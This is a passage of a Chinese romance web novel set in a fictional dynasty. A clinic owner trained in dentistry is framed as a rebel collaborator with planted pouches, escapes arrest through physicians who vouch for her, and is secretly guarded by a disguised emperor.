官差方开始展示手里的证物:剪刀状尖头扁口金属工具数件、双头或尖或扁或弯的细长条状金属工具数件、尖锥状或粗或细金属数件……
苏颜妍:……这些牙科工具是遭了天谴了吗?反复被拖出来施加各种罪名?她是不是应该带着这些工具去哪个寺庙道观拜拜啊天菩萨的!
官差甲:“这些东西,都是罪证。不是我们不通融,苏姑娘,我们收到的线索里就有逆党传递这些器物的图纸和信件。现在整个京城里,只有回春堂出现了同样的东西,我们也只能请医馆当家人去衙门走一趟了。”
他没动粗,苏颜妍也平稳情绪客气地询问:“这位官爷,您一直说收到了线索,这个举报我们的人一定是熟识我们的,那他是不是也有很大的嫌疑呢?”
“这……”官差甲乙丙丁互相看了看,为首的犹豫了下,说道:“传信的人说是跟在姑娘身边,日日贴身发现不妥,暗中观察多日确定苏姑娘与逆党私下有勾结。我们本来半信半疑,到了医馆后,除了找出这些东西,也没发现告密揭发的人。”
原来是这样,官差也觉得此事多半是有人在暗中搞鬼,所以底气不足,被小桃硬气顶撞,怕碰着硬茬子,才不曾强硬拿人。
苏颜妍想通官差的态度变化,心中更添几分轻松。她问道:“那人躲躲藏藏,不敢出面,定是自知欺瞒了各位官爷,心里发虚呢。不知他是否留有什么物件,我看看能不能找到他?”
事已至此,官差也没为难,直接掏出一个荷包放在中堂台桌上。
这个荷包,熟悉的材质,熟悉的做工,熟悉的款式——这和陈婆婆捎带给小桃的荷包完全是双胞胎吧!
苏颜妍扭头看小桃,小桃则惊愕地张大了嘴,停顿片刻后倏忽抬眼和苏颜妍对视,握紧了拳头。
倘若小桃不曾因齐大困在家中,这几天一定片刻不离,跟苏颜妍待一起。她们日日巡视医馆,教习牙科常识,熟悉外科工具,志趣相合,无话不谈。官差说的那个跟着苏姑娘日日陪伴的人,分明暗指小桃!
可是小桃绝对不会是告密使坏的人,这个人在利用小桃,离间她们的关系。
小桃显然也想到了,她站出来对官差们说:“这个荷包,前几日有人留给我一个。恰好我家里有事,一直没有到医馆里来,今天也是刚取到。这其中,必定有阴谋!”
她拿出陈婆婆送来的荷包,放在官差拿来的那个旁边,果然两个荷包形状材料做工都相似,一看就同出自一人之手。
有人想要通过她谋害苏姑娘,小桃一想到这个就腾起一阵怒火。她绝不会如那人的意,苏姑娘是好人,她那样正直善良,不看重出身也不看重才学,她给了小桃尊重与友爱。这样的人竟然有人要污蔑陷害,天理何在?
小桃绞尽脑汁,直直盯着那两个荷包回忆。
既然那个设下陷阱的人想利用她给苏姑娘埋雷,那一定是了解接触过她的人。而最近,除了爹娘哥嫂这些亲人,唯一让她新出现她身边的,是齐大郎!
这两个荷包是不是齐大郎那边搞出来的呢?齐家在城中经营几家店铺,其中就有一间绸缎庄。苏绸贵重,寻常百姓可用不起,齐大郎是家中嫡长子,很得齐老太君喜爱,他的荷包,确实有可能使用苏绸。
只是他怎么会针对苏姑娘?难道是想打击报复,搞垮苏姑娘的医馆,逼迫她成亲?她只是一个农家女,那齐大郎会这样执着吗?
小桃越想越乱,可她决计不允许苏姑娘被泼脏水的,这盆脏水,她宁肯泼别人身上!
“官爷,您看这荷包,用的是昂贵的苏绸。这搞鬼的人,一个给了您这边,一个给了我。我只是个农家女,亲朋街坊都不是富贵人家。我唯一和我有关系能用得起苏绸的,是城中齐家绸缎庄的少东家齐大郎。官爷,这人与我们有私怨,可不能听信他的话,冤枉了好人。”小桃将齐大郎的可疑之处一一说与官差听,越说越是坚定。
“你说的这些,也只是你的猜测,还是请苏姑娘跟我们走一趟,由大人亲自审一下吧。”官差客气地说道。
他们私下也认可,此事定是回春堂被人整了,可他们也只是听令办事,只管拿人,不管断案。有没有冤屈,那是青天大老爷的事。
苏颜妍已然捋清楚整个事情的经过:京中严查叛党,有人暗中搞鬼,利用小桃做实回春堂与叛党勾结的罪状,捅到官府那边,借着官方的势力找她的茬。官差收到消息,必然来找人,这是个阳谋。
她敢肯定,只要官差一带走她,对方必然有后手。哪怕后面查证她与叛党无关,她不在医馆的时候,舆论绝对会离谱到一个匪夷所思的地步。
可她要怎样抗衡这些官差呢?如果有靠山大佬就好了,这会儿的情况正合适借力打力。
对了,她可以有靠山!苏颜妍心思电转,一下子想到了岐黄谷。
李真和李善这会儿正在医馆,他们出身岐黄谷,回春堂也是可以有背景的。哪怕她和岐黄谷实际并没有铁到能当靠山的地步,但就像
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设局的人算计的那样,也是需要时间来查证的。
对方出招,等着苏颜妍被扣在官府审查;她扯出岐黄谷,同样等着官府审查。
不管后续官府查没查出她和岐黄谷真实的关系,她都不会踏进布局人的陷阱。
苏颜妍想罢,目光扫过李真李善两人,对官差们说道:“好教官爷知晓,我们医馆绝对不曾与叛党有关联,你们可曾听说过岐黄谷?那可是咱们景朝最出名的顶尖医者聚集地。我们这里就有两位出身岐黄谷的良医,现在就在此处。岐黄谷出了多少御医名医,从不参与任何势力中,你们不相信我,还不信他们么?自京中开始严查叛党之时,他们两位就已经在医馆中坐诊,他们就是最好的人证。”
岐黄谷在景朝名声极广,从不参与各派势力争斗,是一股清流,举世皆知。几位官差果然清楚这些,被苏颜妍几句话说得动摇,看着李真李善两人,面露犹豫之色。
苏颜妍一看,心中了然。这些官差明白岐黄谷的背景,她暗示自己背后有靠山,能保证自己与叛党无关,任谁来也判不了她有罪。
她再加了一把火,继续说道:“也不让官爷们难做,我人在回春堂,家业在此,哪里也不会去。你们要想找我,我随时都在。这件事本就是有心人暗中谋划搞鬼,利用官爷来算计我们医馆,咱们如何能让这种小人得逞。官爷尽可以先回去禀告上官,如果需要我到场作证,我随时可以前往效劳。”
先把人支走,后面单独去处理,占据主动,也能打乱藏在暗中搞鬼的人的计划。
为首的官差沉吟了会儿,说道:“苏姑娘如果真能让岐黄谷中人出面作保,自然可以留在医馆。我们也是为了尽快找出叛党,您这边有人保证,我们回去也好有个交待。”
李真和李善对视一眼,双双上前一步,行礼后,对官差说道:“岐黄谷红葫医者李真、李善,可以作证,回春堂苏姑娘确实一直在医馆中,不曾与叛党接触过。官爷们可以回去如实告知上官,我们愿意为苏姑娘作保。”
李真和李善可是知晓苏颜妍与萧景琮交好的,他们能一起相约去往岐黄谷,萧景琮什么身份,淮山长老已经私下告知。就靠着这样的贵人,苏颜妍怎么可能勾结叛党?
他们留在回春堂,一则确实是受苏颜妍邀请,出山坐诊,精进医术。再则,就是萧景琮暗中安排,每日都要传出密信,交待苏颜妍做了什么、吃了什么,干那私底下监视人的勾当。要不是萧景琮手中掐着岐黄谷一众人做人质,他们两人万万不会干这样有损私德的事情的。奈何奈何,只好愧对苏姑娘了。
现下苏姑娘需要岐黄谷出面解困,李真和李善万分愿意,只想帮助苏颜妍,期盼以后能抵消一点愧疚。想来,萧景琮也有让两人保护苏颜妍的意思,就是苏颜妍不说,他们也要出面保人的。
希望这些官差们能识趣,不然到最后,捅出篓子来,倒霉的一定不是苏姑娘。
16. 第 16 章
回春堂真有岐黄谷的医者作保,官差们自是不再继续强硬拿人。
他们带上搜出的牙科工具以及两个荷包,准备回府衙复命。
李真上前道:“这些器具是苏姑娘治病必须要用到的,可否留在回春堂?”
官差没拿到人,本就心中窝着火,见李真还出声找他们的事,更是不耐烦:“看在你们面子上,人已经留在医馆里了。这些东西可是证物,你说留下我们就留下?那我们回去怎么交差?岐黄谷是有那么点用,可也不是哪里都有用的。”
李真无奈,心道这些工具是你们顶头老大的老大送的,你们这样带走,焉有好果子吃?岐黄谷明面上保的苏姑娘,实际上保的是你们啊。
他不便明说,只对官差们道:“烦请各位将器具留下,我亲自和各位回府衙,定会给您府上大人一个交待,不叫各位为难。”
得想法子和他们的上司通个气,让他们少在苏姑娘这边出现。京城现管不好当,何必让人平白触霉头。
听到他愿意亲自回府衙交待,官差们态度好了很多。至少回去有人能分担火力,也不算太过丢人。想来看在岐黄谷这三个字的面子上,上官大人也不至于太过追究。
皇城司,京城里负责侦查搜捕的府衙,里面的官员可谓位卑权重。
按理来说,皇城司武德使当由皇帝陛下的心腹担任,既是心腹,必然是顶头老大肚里的蛔虫,哪里用得着别人来提点暗示。
奈何当今圣上,为太子时不得势,掌权的是他的义兄摄政王。登基后又不曾启用自己的班底,仍旧沿用之前的官吏,使得这个本该与皇帝陛下心领神会的衙门大水冲了龙王庙。
李真能怎么办,他也很是绝望啊。
萧景琮是君,是圣明天子,他不发话,隐瞒身份,谁敢来明着揭穿他的身份?老寿星上吊嫌命长吗?
进了皇城司,他恭谨行礼,见到了同样成了倒霉虫的武德使大人。
这位大人尚且不知自己兢兢业业冲业绩,骑脸输出错方向,险些就要让自己不进反退回家卖红薯。他一个朝廷命官,倒也没冲李真这个白身摆架子,态度虽不热切,也不轻蔑。
李真心中高看他一眼,有心交好,率先出声将官差搜查回春堂一事的疑点一一交待,把官差们从冲突中挨个摘出。末了,他温声将苏颜妍在岐黄谷中请他们坐诊的事点出来,重点隐晦表示:“苏姑娘有一密友,正是他陪同,岐黄谷才会与回春堂亲如一家,守望相助。连岐黄谷都无法一次性打造出新工具,对这位贵人可仅仅是小事一桩。故而,在下请求官差们留下了工具,亲来回禀大人。叛党一事,与苏姑娘决无瓜葛,请大人明鉴。”
武德使名叫孙知恩,以摄政王派系的身份稳稳当当呆在皇城司五年,为人不可谓不圆滑机敏。他听话听音,锣鼓听声,面不改色,心下了然。想来这回春堂苏姑娘的密友,大有身份,岐黄谷这位不方便明言,在这点他呢。
只是京中不比别处,屋顶上落下片瓦,也能砸到几个贵人。贵人和贵人,也是分档次的。岐黄谷既然站出来担了责,想必也是熟知身份,卖了人情。
他示意李真坐下回话,问道:“皇城司拿人,自然秉公执法,不会冤枉好人,也不会放过坏人。岐黄谷向来只济世,不入世,从来不归属哪方势力,本官尊重且认可。但我食君俸禄,与君分忧。奉命找叛党,得到消息,岂能放过。想来那位贵客,也能体谅本官一片忠君爱国之心,对吧?”
李真默默。
大人,您是真会找人压场,上来就出大啊。
这是在暗示他后面有皇帝,皇命当先,不得不干,多有得罪,哪个贵人扛得住?
可惜,这个贵人还真就压得住。已经示好,何必再遮掩
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,李真沉吟一阵,抬眼与他对视,摇了摇头。
孙知恩瞬间挺直了腰,精神一振。
他怕自己领会错误,直接伸出食指向天上指了指,询问的眼神扫过李真。
李真点了点头。
两人没有开口,只凭神情手势彼此心领神会。
孙知恩承情,亲自为李真躬身行礼,李真忙推辞躲开。他道:“大人既然已经明白,在下这就回去了。您放心,苏姑娘对大人绝无私怨,烦请您告知差役们,以后可以避开回春堂。”
“这是当然。孙某承情,李大夫日后有事,传信与我,义不容辞。”
“大人客气了。告辞!”
“我遣人送李大夫回医馆。”孙知恩说道。
李真连忙推辞:“大人,在下尚且需要给那位贵人传信,此事大人不便插手,您留步。”他要去给萧景琮传信去,可不能真带上皇城司的人。
“李兄是要见人还是带信?如果需要纸笔,鄙人此处正好齐全。李兄尽可在这里使用。”孙知恩挽留道。
见面不方便跟人,传信他皇城司可以帮忙。正好看看这位贵人,是不是那位,可别整个狐假虎威,传出去,丢了皇城司的脸。
李真自然不虚,他见武德使坚持,便留在皇城司,当场借用笔墨,提笔书成一封信。他从袖中摸出一枚铜哨,在窗边吹响,片刻就有一只鹰隼盘旋,停在旁边。
“孙大人,可否请您吩咐下去,准备些新鲜生肉?”
孙知恩从看到铜哨就心知肚明,李真不曾骗他,反而帮了他大忙。待鹰隼飞来,他更是放低姿态,诺诺道:“自然自然,这便遣人去取来。”
鹰隼腿部绑着铁筒,正是宫中传信的灵宠。孙知恩见过几次,知道是摄政王调教好献给当今圣上的。他与李真齐齐抬头,目送鹰隼带着信,腾空盘旋,向着宫中飞去。
17. 暗处
建康街,临近回春堂的宅院,搬来一户显贵人家。
苏颜妍呆在医馆里,总有男男女女从门口路过,各个陌生新鲜的紧。
她刚经历一场无辜被指认逆党同伙的风波,这会儿看到陌生面孔,头顶的探头布灵布灵闪闪亮亮。
她找李善吐槽:“一下子多了好多人,官府这会儿也不来搜查啦?捕风捉影闹一场乌龙,吓得陈婆婆都不敢来我这里坐坐说说话了。咱们医馆还好些,这要是饭馆酒馆旅馆,还有没有人敢来吃喝住啦?”
李善一向温和娴静,闻言只是笑,并不接口。
苏颜妍颇感无趣,李善什么都好,就是性格和她不合拍,总说不到一块去。之前官差堵门拿人,李真挺身而出,亲自去官府作保,现在医馆正常营业,苏颜妍承他的情。
她尝试和李善拉近交情,惨遭滑铁卢。
不是吧姐们,交个朋友有这么难?日常拉个家长里短分享点新鲜八卦,这也能当锯口葫芦?找个合心合意的话搭子好难呜呜呜,想念仲景的10086天。
苏颜妍寂寞缩回灵魂jiojio,自闭ing。
殊不知背地里,李善一头冷汗对李真抱怨:“哥哥,那位安排的人也太显眼,苏姑娘都察觉到不对,来找我探话了。这些真是暗卫吗?大白天在街上一趟又一趟溜达,这哪家人能这样闲散?”
李真:……妹子,我们哪里管得着人家皇家编制?他天天打小报告就已经很心虚了,还要去负责沟通其他友军吗?到时候苏姑娘发现,他真要无颜见江东父老了。
他抖掉一身负罪感,安慰妹妹也安慰自己道:“苏姑娘或许只是说说闲话,并没有发现不妥。咱们只管守着医馆,踏踏实实精进医术。日后修习足够经验,回岐黄谷,不参和这些事了。”
李善叹气:“我都不敢和苏姑娘一起久待,等她后面知道我们瞒着她,给那位传消息,怕是要生气的。当初答应苏姑娘来医馆,只盼着能多治病救人,不负所学。哪成想出了谷,竟似踏进纷争漩涡中,每日作为,有违初心。”
李真知妹妹素日只爱钻研医术,此刻要她隐在暗中行事,她难以接受实属正常。要怪就只怪那位贵人,非要隐瞒身份接近苏姑娘,肆意任性,令人发指。
从未听闻有哪位皇帝把自己搞得见不得人,非要躲躲藏藏遮遮掩掩出现在心上人身边的。
巧了,萧承琮的暗卫们也是这么想的。
刚从回春堂假装路过的暗卫甲回了附近新据点,与同僚乙碰头:“那位姑娘一直呆在医馆,不曾外出。整条街道,安全无死角,短短百米,潜伏十多个暗卫营高手。主子从不曾如此重视一个人吧?”
简直恨不得含进嘴里捧在手心。
同僚乙:“知道主子重视,就做好自己的事,别出岔子,谁都救不了你。”
暗卫甲翻了个白眼:“这个保护力度,哪个能伤得了人,从天而降吗?”
同僚乙踹了他一脚,暗卫甲灵活躲开,反手搭肩,凑在他耳边小声问:“主子到底怎么想的?认定这位姑娘了?镇南王回京,难道是收到什么消息?我知道你原来是他手中调教出来的,有小道消息没有,说说?”
同僚乙这次没收手,手指成爪扼压暗卫甲的胳膊,后肘向下用力,结结实实给了他一下子。
暗卫甲险些吐血,两人追逐腾挪,打成一团。
回春堂,苏颜妍如同一只进了迷宫的仓鼠,满医馆转来转去。
李真今日去附近出诊,李善正在接诊一位发热的小儿。
门外街上宁静祥和,后街时不时传来街坊碰面交谈的只言片语,不算嘈杂,正常的很。
这也太正常了!太正常就是最大的不正常。
陷害她未果,潜伏在暗处的人呢?官差都空手离开数日,怎么还没人跳出来,继续出招?
岐黄谷这么硬的吗?能震慑住魑魅魍魉这么久?
如果真是岐黄谷的威力,那请到谷中良医真是祖上冒青烟,交了好运啦。怪不得苏夫人那么挂心,一听她说要去岐黄谷,还让仲景带她去了。
仲景,她幸运的野生患者,好人!有忙他是真帮啊。
不知他回家后,搞完那家里的乱摊子没。小桃不在、李善说不来话的每一天,想他。
苏颜妍反复打开记录薄,又合上,碳条笔转来转去,差点在自己脸上画出几道猫咪胡。
好无聊啊好无聊,老天爷,快来个人让她振作起精神来吧~
或许是老天真的看不下去她颓靡的样子,还真有人指名要见她了。
来人有些眼熟,他一身黑衣,身形高挑,头发规规矩矩束起,正是刚搬来附近时常路过医馆的陌生人。
他恭敬行礼,奉上一封信,自报家门:“苏大夫好,小的是仲景公子的家仆,公子让我候在您身边,听您差遣,专门传消息。公子已经在附近置办家宅,处理完家事就会搬来,您有需要可以随时去找人。”
打开信,潇洒遒劲的字迹映入眼帘:“苏姑娘,见字如晤。一别数日,时切葭思。吾至家中,琐事繁杂……专此布达,敬候回音。”
苏颜妍满脸黑线:好家伙,洋洋洒洒几张纸,详细诉说了这些时日仲景困在家里的憋屈心情。
读完她的嘴角却压不住翘起,萧景琮在信的末尾嘱咐她,他虽然暂时没搬过来住,她可以先给他回信。他无聊的就像没有瓜的猹,想念和她在一起快乐的时光。
极大地满足了她倾诉的欲望,她最好的话搭子,启动启动启动。
苏颜妍给他回信:
亲爱的小伙伴,期待你的到来。
你帮我找到良医很棒,能奶能抗还加BUFF。
遇见黑衣人偷袭,差点被抓,惊险刺激,等你来找我,我给你详细巴拉巴拉。
失去搭子*1,无心工作,闷!幸亏有你的来信,我现在好多啦。
你忙完快点来找我玩啊,想你。
苏颜妍脸上挂着笑,拿起炭笔写得飞快,手搓火星子,笔走龙蛇。
写完就像喝了点小酒,微醺,轻松,惬意自在。
人到底是社会性生物,脱离社交好难熬。但只要有了一个锚点,她就能平稳行驶在人生海海,振奋精神,不惧风浪。有朋友真好。<
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苏颜妍和萧景琮书信往来,很是快乐。
济世堂,林玉珠,完全高兴不起来。
她说动父亲林有仁支持,调用人手暗算苏颜妍,本以为万无一失,结果对方居然毫发无损。
那丫头怎么会拥有这么好的运气,官府竟轻松放过和叛党有关的人?这其中难道有什么她没算到的地方?
不可能,她明明从白哥那里,获知那丫头所有的本事,回春堂若有靠山,苏南星又怎么会失踪没人出面找?
岐黄谷,一定是岐黄谷。那丫头果然和岐黄谷的人有勾连!
她咬着下唇,恨得要吐血。一双小眼里,氤氲着愤恨和嫉妒,冷的吓人。
林玉珠不甘心。她和苏颜妍同样都是医馆独女,苏颜妍从小被苏南星娇宠,养在内宅,如同温室花朵。
而她的父亲,从不曾温柔呵护,教她的都是阴谋手段。就连人生大事,都被林有仁拿来充当筹码踏板,让她嫁人用来谋算夫家产业。
她以为她是不屑的,苏颜妍那种小白花,和她有一药匙可比之处么?相提并论都是对她的侮辱。她心思灵、有手段,完全不把她看在眼里。
一开始,事情确实是顺利的。回春堂当家人苏南星失踪后,她动之以情晓之以利,撬走了唯一能扛起医馆的白延琅。她有信心能通过白延琅,侵吞回春堂,让林家更上一层楼。
算计很成功,苏颜妍那蠢女人心里挂着白延琅,到济世堂找人,被她安排人扔到渃河,差点就死了。
可就是这样的苏颜妍,在溺水被救起后,变了个人似的。竟能正面抗下学医十年的白延琅的狙击,接管回春堂。
后面,事情更是脱离她的掌控。
那女人真有本事治病;那女人去了岐黄谷;那女人搭上了岐黄谷;那女人带回了岐黄谷的良医。
回春堂彻底成了那女人的一言堂。稳稳当当,而她,还要继续熬,不知道要熬多久。
白延琅也因为她,失去了原本的价值。岐黄谷伤人事件一出,她谋划的借助白延琅掌家之事,更是遥遥无期。
林玉珠心如火焚,她怎么能接受,她原本看不起的人现在压在她的头顶?她才是那个优秀的人,她样样都比那苏家小丫头强,她不会输!
她越想越生气,圆胖的脸上肌肉横跳,眉毛竖起,对肃立在身边的仆从道:“去把齐家的人找来,我倒要问问,他们是怎么办事的!只是让他们对付一个农家女,他们都能搞砸吗?废物!”
齐家,齐大郎正和齐老爷吹胡子瞪眼。
他家给他定下与小桃的婚事,他去了一趟回春堂,张大娘家就反口要退亲,齐老爷面子上挂不住,已经好几天没给他好脸色了。
齐大郎本就看不上小桃,当初答应配合家里,也是以为能从林家得点好处。想来算计一个丫头片子,能有什么难度。事成之后,亲事肯定成不了,顶多抬进门做个妾。谁承想,那丫头骨头这么硬。
收到林玉珠的传信,齐大郎眼珠一转,舔着脸对齐老爷说道:“爹,您别生气了,我去林家,保证不让您丢面儿。您就在家等好消息吧。”
18. 谁家的小可爱突然出现
齐大郎上赶着去见林玉珠,可是蓄谋已久。
济世堂林家,掌着大半个京城医馆药物定价,富得流油。林有仁那老家伙,算计这个算计那个,手中人脉颇丰,势力极大。
他敢觊觎林家,是他知道林家只有林玉珠一个女儿,他若娶了她,等林有仁一死,那林家的产业,不就是他齐大郎的产业了么。
齐父给他定亲,他看不上小桃,就是因为这个。
有金宝珠玉在前,桃儿李儿算什么东西。
林玉珠长得相貌平平又怎样,他要的是钱财!
穿过龙蟠街,拐进九华巷,巷子尽头有个青瓦街门,院内屋舍庭院俱全,且有角门连接济世堂,林玉珠归宗后就住在这儿。
齐大郎心中愈发火热,他齐家一家在京城三代积累,才盘下几处小屋小舍,舔着脸称自己小有家财。和林家一比,犹如大象和马喽。就为着这些房产,吹捧追求一个寡妇,倒也不算亏。
他一路心思荡漾,进到屋内,迎面一个茶盏飞了过来,咔嚓一声四分五裂摔碎在脚边。
齐大郎哎呦一声,假惺惺笑道:“林娘子,看到我来,也不必这样惊喜。可是茶水太烫?这些侍婢怎么伺候的,你可要好好教训她们,对待主子要尽心。”
他几步上前,伸出马猴爪子似的手,就要去拉林玉珠。
林玉珠眉毛一竖,啪的一声,给了他一巴掌:“退下!瞎了你狗眼,敢调戏你姑奶奶!”
齐大郎吃疼,手却没躲,摸了她一把腻白的腕子,这才笑嘻嘻道:“瞎了眼,我也能闻见娘子喷香的味道。林娘子是淑女,我齐大贵好逑。”
“少嘴花花,叫你来是想问问,你们齐家是怎么做事的?让你们对付一个丫头片子,就这点小事都能办砸?”林玉珠看不上齐大郎那贼眉鼠眼的样儿,说话也很不客气。
齐大郎叫屈道:“林娘子可别这么说,我是真冤啊。你一张口,我都答应和那乡下村姑定亲了,为了帮娘子,婚姻大事我也能舍。现在那丫头还是我齐家定亲的人选呢,这怎么就叫办砸?”
“哼,让你借着和村姑定亲,给苏家那丫头片子栽赃,这会儿官府都不去回春堂,又是怎么回事?”正常查出与叛党有勾连,官差早就捉走嫌疑人了。
“证据我交了啊。”齐大郎道:“荷包里写的那些都是你这里给的,是不是写的内容不对?”
林玉珠板着脸道:“当真把东西放回春堂里了?”
齐大郎拍胸膛保证:“自然当真,真放进去了。”
“那不应该,官差都是宁肯抓错绝不放过,就算岐黄谷的人出面作保,也没那个牌面挡住才对。”林玉珠眼里全是惊疑,她皱着眉扫了齐大一眼,道:“你继续跟着那个小桃,想办法逼她去找苏家丫头。”
“这次逼她带什么?那村姑骨头硬的很,未必肯答应。”
“次次都用实物栽赃,你当官府是傻子?这次逼她去医馆找人就行,不用她带东西。”林玉珠嫌弃道。
齐大郎眼中贪婪一闪而过,他
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附和道:“是,是,让她去找苏丫头求救,我这就去找她家麻烦。她哥嫂收我齐家的定钱,如今那丫头闹着要退亲,这钱得让他们吐出来。就不知道她那废物哥嫂,还拿不拿得出这笔银钱喽。”
小桃的哥嫂,真拿不出齐家定亲给的钱。
之前张大娘让他们俩去城中替小桃打听,这俩贪货接了齐家给的定钱,私底下昧在了手里。张大娘全然不知这笔意外之财,听信他俩的话,以为定亲的是家好人家。
等齐大郎在医馆欺辱小桃的事一出,张大娘才觉出不对。她将儿子儿媳关在家里,厉声喝问,方知二人糊弄了事,满眼钱财,全然不顾亲情,险些误了小桃终身。
张大娘悔得肠子都青了也晚了。亲事定了,礼金收了,要退给齐家,银钱被儿子儿媳花用了!她可怜的小桃,硬生生把自己熬得瘦成一把骨头。
她这是造了什么孽啊。
回春堂,苏颜妍正在给常用工具消毒。
她支起一个大锅,锅里水汽沸腾,金属工具在水中,高温煮过,完成杀菌。
她最近慢慢积攒了许多新点子,一个人时,常常琢磨研究,一条条记录在本子上。
中医西医是两种体系,她学不来李真李善那一套,自己熟识的知识,有很多悬浮空中,她想着把它们融进当下环境里。
萧景琮就在她忙得满身大汗时,出现在医馆里。
“仲景!”苏颜妍见到他,又惊又喜,她腾得站起,提起裙角,小跑着冲到他面前。
19. 第 19 章
能用钱解决的问题,都是小问题。
再说了,对小桃来说数额巨大的银钱,在苏颜妍这里却未必那么棘手。
小桃自己没有获取钱财的渠道和方法,她来回春堂帮忙也一直不肯收苏颜妍给她的工钱。
小桃总觉得自己已经跟着苏颜妍学了那么多东西,跟着夫子学都要交束脩呢,苏姑娘没有收她的礼已经怪好心,她哪里还能拿苏姑娘的钱。
苏颜妍接手医馆,赚的不多,总归是有钱的。她关切地望着小桃,安慰她道:“别怕,咱们进屋慢慢说。”
小桃点头,苏颜妍陪着她进了内室。
苏颜妍进了屋,被遗忘在院子里的萧景琮板着脸,鸦羽般浓密的睫毛垂下,在他脸颊投下小片阴影。
他脚尖碾了几下地砖,冷不丁踢向散乱在脚边的柴火,那块木柴骨碌碌滚进了柴堆。
无端让人心惊胆战。
“仲景,”内室方窗探出一颗脑袋,苏颜妍招呼他:“别呆在院子里啦,一起来听吧。”
——
却说小桃自从与齐大郎定亲后,家中就不顺遂。等她打定主意要退亲,家里的亲人变得陌生和冷酷起来。
齐家给的定礼,她哥哥和嫂子暗中扣留且花用完,现在根本拿不出来。
张大娘气得大病一场,除了小桃陪在身边日夜照看,那俩闯祸的竟没进过家门。这样不靠谱的表现,让小桃和张大娘伤透了心。
等苏颜妍喊小桃去医馆拿荷包,小桃在官差面前挺身而出。她将荷包指认成齐家的东西,这事一出,因为事涉叛党,齐家人对她恨之入骨。
本以为齐家一定会咬紧亲事不松口,等着小桃进门磋磨她。谁知峰回路转,齐家竟派人上门,倒是通知她们家可以退亲,但要退还彩礼,折合利息共计八十两。
对于庄户人家,整年能存十两银子,已经算是收益颇丰。一下子凑出八十两,砸锅卖铁也拿不出。
张大娘愁的白了头发,小桃哄她歇下,转头就来回春堂找到苏颜妍。
小桃说道:“苏姑娘,您好心愿意帮我,小桃记在心里。从今以后,小桃就跟着姑娘,帮姑娘干活,打杂,直到还清欠您的银钱为止。”
苏颜妍叹气道:“咱们感情这样好,何必算的这么清楚。我能帮到你,脱离齐大那种人渣,心里不知有多高兴。”
小桃固执道:“我知道姑娘的心意,可是我一定要还,我过不了心里那一关,总觉着亏欠。苏姑娘,你依了我罢。”
萧景琮一颗心全系在苏颜妍身上,对小桃这种经常出现在她身边的人,早就祖宗十八代查的干干净净。
他知道苏颜妍平日就和这个农家女结伴同行,感情不错。现今苏颜妍要帮她,萧景琮低声问道:“我有银子,我去给她摆平?”
苏颜妍白他一眼,嘀咕这家伙,和他没什么关系,跳出来当什么冤大头。
那齐大家能有什么好东西不成?离这样的人渣远远的就行。
她对小桃说:“现在医院盈余,本来就是想扩张改革我需要你帮助。这笔银钱算是你跟回春堂借的。别客气,你在这里工作,不白干,我会单独刨除生活费,将多余的当还款。”
“小桃,以后你可是医馆里正式工作的员工了,要好好努力哦。”苏颜妍笑着给小桃打气。
小桃满脸感激,眼中闪着泪光,她使劲忍住,没让泪落下来。
“日子会越来越好的,不要怕,小桃。”苏颜妍柔声道。
“你怎么不用我给她钱,非要用你自己赚的?”待小桃抱着碎银离开,萧景琮不开心,扁着嘴问苏颜妍。
苏颜妍看他无能狂怒的样子,又是心疼又是搞笑。
她说道:“这事估计本就是冲着我来的,小桃也算是受了无妄之灾。她为人有自尊有心气,你就不用掺和进去了。”
“我想帮你啊。”萧景琮语气低落。
苏颜妍总感觉一条大狗狗在她面前躺倒,友好地露出肚皮,请有福姑娘上手摸一摸。
她笑意融融,声音拉成甜糖丝夸奖他:“你一直在照顾我帮助我,是非常棒的朋友啊。等我有需要,一定会找你来资助我呀。”
萧景琮横扫她一眼,见她语气郑重,不像嘲讽,他这才开始松弛下来。
“那现在呢?要干什么?”
“收拾器具,顺便祈祷小桃能甩脱齐大郎这个人渣,顺利退亲。”苏颜妍开始撸起袖子,将院中煮沸消毒过的东西收拾,把萧景琮指挥地团团转。
萧景琮若有所思,沉吟一会儿,道:“你要是真想让她以后都清静,把银子直接给她反而不美。”
苏颜妍呆住:“啊?为什么?”
“既然缠着她的是人渣,又怎么会讲仁义道德。顺着他的要求去做,你不怕她继续掉陷阱里?”萧景琮弹了弹她的小脑袋,道:“这种时候,你要跳出整个事件来看。”
苏颜妍懊恼拍手道:“对奥!我刚才怎么没想到,小桃都回家了,要去追她吗?”
萧景琮惊讶:“你想到了什么?”
“从宏观角度上帝视角跳出逻辑陷阱啊…”苏颜妍嘟嘟囔囔:“你一提醒,我就想到了,应该趁着那齐大郎家提要求的时候,顺势设局,布置一番,看看能不能引蛇出洞,找到算计害人的幕后黑手。”
萧景琮又一次被苏颜妍震惊到。
好机灵的女孩,稍一点拨,她就能奇妙地和他的所思所想重叠。
这就是心有灵犀一点通吗?
他心底火热,一簇簇火苗星星点点燃成一片,旺盛地灼烧着。
他定定地望着她,说道:“我的人手在外边,你可以吩咐他们去做任何事。”
苏颜妍想了想,道:“让他们嘱咐小桃,钱可以给张大娘,不建议她直接还给齐家。咱们悄悄查一下齐家,看看他们家有没有突发事故,大额交易,或者见过什么人摊上什么事。”
萧景琮应道:“好。”
他喜欢她自然而然说出的“咱们”,仿佛他们俩人合二为一,融为一体。
这一刻,别说是去查齐家,就是她想要上天入地,他也愿意跟她一起。
——
齐家,齐大郎沉浸在美梦中,沾沾自喜。
梦里,他利用小桃当踏板,成功设计苏颜妍,讨好林玉珠。
林玉珠对他另眼相看,芳心暗许,主动倒贴也要嫁给他。他娶了林玉珠,林有仁把济世堂交给他继承,他成了齐家的大英雄,大功臣。
梦里,他掌控京城所有的医馆,成了说一不二的大
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人物。林玉珠自惭容貌粗鄙丑陋,自请下堂。他另娶了娇妻美妾,儿女成行,富贵荣耀一生。
齐大郎美滋滋,突然耳朵一阵剧痛,他嗷嗷醒来,睁眼就看到齐老爷横眉竖目瞪着他,一只手正拧着他的耳朵。
“哎呦,我的爹!您这是要干嘛呀。快松开!可疼死我了!”齐大郎唉声叫着。
“你去林家,成事了没有?怎么还躲在家里睡大觉?家里绸缎庄都差点被查封了,都是你干的好事!林家有没有说怎么给我们补偿?”齐老爷手上用力,怒气冲冲。
齐大郎挣扎着逃离老爹的拧耳铁钳功,不满道:“这事又不是林家让咱们干的,他们怎么可能补偿我们。爹,你现在不用急,等你儿子我娶了林玉珠,整个济世堂都是咱们齐家的。”
齐老爷气呼呼:“等等等,那要等到猴年马月?林家那老东西精明得很,能把医馆给你?小心偷鸡不成蚀把米。还有那林家女,就是个克夫的命,你还想娶她?我看你是想要气死我!”
